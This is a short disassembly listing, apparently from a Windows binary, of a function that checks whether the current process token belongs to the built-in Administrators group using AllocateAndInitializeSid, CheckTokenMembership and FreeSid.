lea rcx, [rbp - 0x18]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rbp - 0x10], eax
test eax, eax
je 0x14006598f
mov rdx, qword [rbp - 0x20]
lea r8, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140065982
mov dword [rbp - 0x10], ebx
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rbp - 0x10]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140068c30
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rbp
ret